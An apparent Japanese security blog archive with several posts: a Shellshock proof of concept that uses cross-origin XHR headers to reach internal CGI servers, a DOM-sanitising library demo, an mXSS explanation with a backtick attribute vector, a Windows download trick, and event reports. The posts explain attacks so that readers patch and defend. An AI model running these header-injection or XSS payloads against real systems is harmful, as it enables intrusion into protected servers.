ファイアウォール内のサーバに対するShellshockを利用した攻撃

2014-09-27: 該当サイト上にXSSがなくても攻撃可能であることが id:mayuki さんのコメントで判明しましたので全面的に書き直しました。ファイアウォール内であっても攻撃者はファイアウォール内のShellshock攻撃が通用するCGIのURLがわかっているだけで攻撃可能ですので早急に対応が必要です!
会社のブログにも書いてますが、ファイアウォール内に置いてあるサーバで攻撃者が直接アクセスできないからといってbashの更新を怠っていると、条件によっては攻撃が可能となります。
条件としては、

  1. そのサーバにはシェルを経由して外部コマンドを起動するCGI等が動いている(通常のShellshockの攻撃と同条件)
  2. 攻撃者がそのURLを事前に知っている(あるいは推測可能)

となります。
攻撃者は、ユーザーを罠URLへ誘導し、以下のようなJavaScriptを罠ページ上で動かし、攻撃対象のWebアプリケーションへXHR経由でリクエストを発行します。

var xhr = new XMLHttpRequest();
xhr.open( "GET", "http://192.168.1.1/shellshock-vulnerable.cgi", true ); // ファイアウォール内のURL
xhr.onload = function(){};
xhr.setRequestHeader( "Accept", "() { :;}; ping -c 3 my-site.example.jp" );
xhr.send( null );

XHRによるAcceptヘッダの変更では、クロスオリジンのリクエストでもpreflightリクエストが発行されないため、上記JavaScriptによってファイアウォール内のCGIに対して正常にリクエストが発行されます。CGIではAcceptに指定された文字列が環境変数 HTTP_ACCEPT に設定されるため、この文字列がコマンドとして実行されてしまいます。

ここまで、「ファイアウォール内のサーバ」と説明しましたが、ファイアウォール内に限らずBASIC認証で保護されているサーバであっても全く同様に、ログイン済みのユーザーを罠URLへ誘導することで攻撃が可能となります。

該当サーバ上のShellshock攻撃が適用するURLを知られているというだけで攻撃可能になりますので、企業内等のサーバであっても可能な限り速やかにパッチの適用をしましょう。



これより以下は2014-09-27に変更するより前の記述で、不正確な内容です。

会社のブログにも書いてますが、ファイアウォール内に置いてあるサーバで攻撃者が直接アクセスできないからといってbashの更新を怠っていると、条件によっては攻撃が可能となります。
条件としては、

  1. そのサーバにはシェルを経由して外部コマンドを起動するCGI等が動いている(通常のShellshockの攻撃と同条件)
  2. そのサーバにはXSSのあるWebアプリケーションが存在している変更:この条件は攻撃者には不要)
  3. 攻撃者は1.および2.の両方のURLを事前に知っている(あるいは推測可能)

となります。
攻撃者は、ユーザーを罠URLへ誘導し、2.のXSSが存在するページを利用して以下のようなJavaScriptを攻撃対象のWebアプリケーション上で動かします。

var xhr = new XMLHttpRequest();
xhr.open( "GET", "/shellshock-vulnerable.cgi", true );
xhr.onload = function(){};
xhr.setRequestHeader( "X-test", "() { :;}; ping -c 3 my-site.example.jp" );
xhr.send( null );

XMLHttpRequestによってカスタムヘッダを付与することでCGIへは新たな環境変数を容易に与えることができます。また、クロスオリジンでのXMLHttpRequestによるリクエストの発行ではカスタムヘッダがついている場合にはpreflightと呼ばれるリクエストが事前に発行されるために通常はCGIは起動しませんが、XSSによって同一オリジン内でのリクエストとなるためにそういった制約も発生しません。

これにより、対象サイト上ではCGIの動作に伴い環境変数内の文字列がコマンドとして実行されてしまいます。

ここまで、「ファイアウォール内のサーバ」と説明しましたが、ファイアウォール内に限らずBASIC認証で保護されているサーバであっても全く同様に、ログイン済みのユーザーを罠URLへ誘導してXSSを経由することで攻撃が可能となります。

該当サーバ上にXSSがあること・攻撃者がそれらのURLを知っていることという条件は現実的には簡単には存在し得ないかも知れませんが、とはいえ「ファイアウォール内なので大丈夫」という安心もしていられないということになります。企業内等のサーバであっても可能な限り速やかにパッチの適用をしましょう。


XSSを使わななくても、クロスオリジンで簡単に環境変数を設定できるようなリクエストの投げ方を知ってる人いたら教えてください!)

ブラウザ内で安全に文字列からDOMを組み立てるためのRickDOMというライブラリを書いた

RickDOM - ricking DOM elements safety from string
https://github.com/hasegawayosuke/rickdom

ブラウザ内のDOMParserあるいはcreatHTMLDocument APIを使って不活性なDOMを組み立てたのちに、必要な要素と属性、スタイルだけを切り出して複製しているので、原理的にDOM based XSSの発生を抑えることができます。

使いかたも簡単。

var rickdom = new RickDOM();
var container = document.getElementById( "container" );
var elements;
var i;

// read allowings property to show default rule 
// div.textContent = JSON.stringify( rickdom.allowings, undefined, 2 );

// write allowings property if you want to customize rule.
// rickdom.allowings = { a : { href : { pattern : "^https?:\\/\\/", flag : "i" }, title : "" } };

// build method returns array of HTMLElement.
elements = rickdom.build( '<img src=# onerror=alert(1)><a href="http://example.jp/">example.jp</a><br><a href="javascript:alert(1)">javascript</a>' );
for( i = 0; i < elements.length; i++ ){ 
    container.appendChild( elements[ i ] );
}

実際に動いているデモ画面はこちら。

詳しい話はこのあたりを参照。

LINE株式会社 に行ってきた!

台風一過!はせがわです。

というわけで、Shibuya.XSSの会場を快く貸してくださったLINE株式会社さんに行ってきた!
サイボウズのバグハンター合宿で疲れた体を引きずりながら大勢で魔宮である渋谷駅を抜けヒカリエへ。

出迎えてくれたのはおなじみのコニー、ブラウン、ムーンをはじめとする愛らしいキャラクターの面々。

ジェームズとジェシカもお出迎え。

見晴しのいい窓際にも。

遠くには夕焼けの富士山も見える!

大量のレッドブルを前にご満悦の941さん。

というわけで、夜遅くのグデグデな勉強会なのに快く会場をお貸しくださったLINE様、941さん、ありがとうございました!
雑なパクリ風味記事ですみません><

      • -

ちなみに、Shibuya.XSS テクニカルトーク #5の内容や資料については、いつもどおり azu さんによる記事:Shibuya.XSS テクニカルトーク #5 アウトラインメモ | Web Scratchにまとまっています。

それはそれとして、Shibuya.XSS テクニカルトーク #5ですが、会場への入場を開始時刻の19時30分で打ち切ったために申し込んでいたのに入場できなかったという人が発生してしまいました。事前にきちんと連絡できていればよかったのですが、こちらの不手際でせっかくの参加の機会を不意にしてしまい申し訳ない限りです。すみません。次回からはきちんと事前に入場可能な時刻を明示できるようにしておきます。

そして、Shibuya.XSSに限らないのですが、都内で100人規模の勉強会を開催するときに申し込みを開始したとたんに1-2時間程度で全席が埋まってしまうということも珍しくなくなっていて、たまたま申込み開始のタイミングでネットに触れることができた人による早い者勝ちな状況は、果たして正しい状態なのだろうかという思いもあります。もちろん主催する側としては高倍率で参加枠が瞬殺というのは嬉しくはあるのですが、その嬉しさは単純で原始的なものでしかなく、たまたまタイミングよくTwitterを見ていたから参加できたという人がいる裏側に、本当に参加したい・主催側からも参加してくれればというような人が参加できていないというのは決して望ましい状況ではないかと思うわけです。
今回のShibuya.XSSでも80名の参加枠に対して参加希望者が倍の160名ということもあり、「この人がトークを聞いてくれれば様々な形でもっとフィードバックをくれるのに」というような方が多数漏れてしまっており、そういった方々のうちの何名かには当日スタッフとしてお手伝いという形で参加して頂きました。そんなわけで、次回(いつになるのかまったくわからないけれど)Shibuya.XSSを開催する場合には、もしかすると席数の半分くらいは「参加してくれたら面白そう」と開催側やスピーカーが思える人のために事前に確保、みたいなかたちになるかも知れません。そうでないとスピーカーは話してても面白くないもんね!

mXSS - Mutation-based Cross-Site-Scripting のはなし

ここ数年、XSS業界の最先端で盛り上がっている話題として mXSS というものがあります。mXSS - Mutation-based XSS とは、例えば innerHTML などを経由してすでに構築されているDOMツリーを参照したときに、本来のDOM構造とは異なる結果を得てしまい、そのためにHTML構造の破壊を引き起こすという類のDOM based XSSの亜種とも言えます。

mXSSに関しては以下の資料などが参考になります。

どちらの資料にも掲載されていますが、mXSSのきっかけとなったのは 「教科書に載らないWebアプリケーションセキュリティ(1):[これはひどい]IEの引用符の解釈 (1/3) - @IT」にも記載した、Internet Explorer におけるバッククォートの解釈の問題で、典型的にはIE8以下のようなコードで問題が発生します。

<div id="div1">
  <input type="text" value="``onmouseover=alert(1)"> …攻撃者がvalue属性を自由に設定可能
</div>
<div id="div2"></div>
<script>
    document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;
</script>

このように、innnerHTMLなどを通じてHTMLを取得した場合に、本来のDOM構造とは異なる構造を表すHTML文字列が取得できてしまうという点がmXSSの肝となります。もしかすると「文字列」だけに限らない可能性はありますが、いずれにしろ本来のDOM構造とは異なるDOM構造の再構築によるXSSというのが重要な点です。
また、mXSSという脆弱性の原理そのものはIEに限定されないという点にも注意が必要です。

さらに、Gareth Heyes氏による Shazzerを使っての 様々なmXSSの攻撃ベクターを紹介する記事も参考になりますので、mXSSに興味のある方は参照しておきましょう。

HTML5によるJavaScriptコード量の増加に伴い、DOM based XSSも増加し、さらにこういった特殊なXSSが増えるのは、攻撃者視点としては非常に面白いですね! Enjoy!

IEを使わずにリモートのファイルをダウンロードする方法

  1. Windows+Rを押し「ファイル名を指定して実行」のダイアログを表示する。
  2. 「参照」を押し、ファイルオープンのコモンダイアログを表示させる。
  3. 「ファイル名」の欄にダウンロード対象のURLを張り付けて「開く」を押す
  4. 「ファイル名を指定して実行」のダイアログに戻ってくるが、このときすでにダウンロードが完了し、ダウンロード済みのファイルが「名前」欄に入力されているので、これをコマンドライン等任意のツールで扱う。

以上。

「ファイル名を指定して実行」の名前欄に直接URLを張り付けると、httpプロトコルスキームに関連付けられた既定のブラウザによってそのコンテンツが開かれてしまうが、コモンダイアログをいったん経由させればブラウザは経由しない。ただし、ダウンロードのためにWinHTTP or WinINetは使用される(あってる?)。

OWASP AppSec APAC 2014で発表しました

OWASP AppSec APAC 2014 で、Masato Kinugawaさん、malaさんと一緒に、「XSS Allstars from Japan」という枠で登壇しました。3人それぞれ好きなテーマについて発表をしたのですが、僕は、Masato Kinugawaさんが活用していた、Tabular Data Controlについて発表しました。

スライドは以下で公開されています。

Bypass SOP, Theft your data // Speaker Deck

Masato Kinugawaさんのスライドはこちら: The Complete Investigation of Encoding and Security // Speaker Deck
malaさんのスライドはこちら: XSS with HTML parsing confusion // Speaker Deck

TDCではないVBScriptのエラーメッセージに関する調査結果は以下で公開しています。
http://d.hatena.ne.jp/hasegawayosuke/20130517/p1

結果に変更があり次第、更新していきます。
もともとMasato Kinugawaさんの発表を聞きたくて無理やり3人でスピーカー枠に応募しただけなので、荒い部分もあるかもしれません。おかしなところがあれば教えてください。

以下、発表では伝えきれなかったこと、確実に伝えたいことを Q & A 形式でお送りします。

Q.
VBScriptのやつ、もっと詳しく知りたいんだけど。
A.
このへんこのへんを読んでください。

Q.
わたしは開発者です。手っ取り早く、すべきことはなに?
A.
まず僕にファンレターを送ってください。そして、X-Content-Type-Options: nosniffをレスポンスヘッダで確実に指定してください。

Q.
VBScriptのやつ、IE11は平気なの?
A.
試した範囲ではIE11では大丈夫でした。

Q.
TDCのやつ、IE11でドキュメントモードをエッジモードにしていたら平気なの?
A.
ドキュメントモードを指定するのは攻撃者の指定した罠ページ上なのでIE11を使っていてもダメです。




その他、疑問点などありましたら言って頂ければお答えします。


OWASP AppSec APAC 2014に関わった皆様、お疲れ様でした。
スタッフの方々、撮影の不可など、ご配慮いただきましてありがとうございました。
一緒に発表したmalaさん、発表寸前まで行方不明で、どうなるか不安でした。ありがとうございました。
同時通訳の方、しゃべるの早すぎるし、言葉が滑らかにでてこないしで、 相当大変だったと思います。発表中は通訳さんのことを考えている余裕がありませんでした…。大変ご迷惑をおかけしました。ありがとうございました。
最後に、拙い発表を聴いて下さったたくさんの方々、ありがとうございました。

このような素晴らしいイベントに関われて本当に嬉しいです。

(参考文献:Masato Kinugawa Security Blog: OWASP AppSec APAC 2014で発表しました)